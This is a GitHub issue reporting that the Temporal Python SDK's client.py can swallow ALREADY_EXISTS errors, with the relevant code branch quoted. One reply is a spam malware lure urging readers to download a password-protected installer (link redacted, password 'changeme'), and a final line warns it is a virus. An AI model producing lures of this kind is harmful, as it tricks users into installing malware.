[Bug] RPCStatusCode.ALREADY_EXISTS can be swallowed

[dandavison]

RPCStatusCode.ALREADY_EXISTS can be swallowed due to an unhandled branch of execution here:

sdk-python/temporalio/client.py

Lines 5086 to 5093 in 927abdc

	if err.status == RPCStatusCode.ALREADY_EXISTS and err.grpc_status.details:
	details = temporalio.api.errordetails.v1.WorkflowExecutionAlreadyStartedFailure()
	if err.grpc_status.details[0].Unpack(details):
	raise temporalio.exceptions.WorkflowAlreadyStartedError(
	input.id, input.workflow, run_id=details.run_id
	)
	else:
	raise

[YoungAgile]

Download <redacted>: changeme In the installer menu, select "gcc."

Virus, please do not click on the link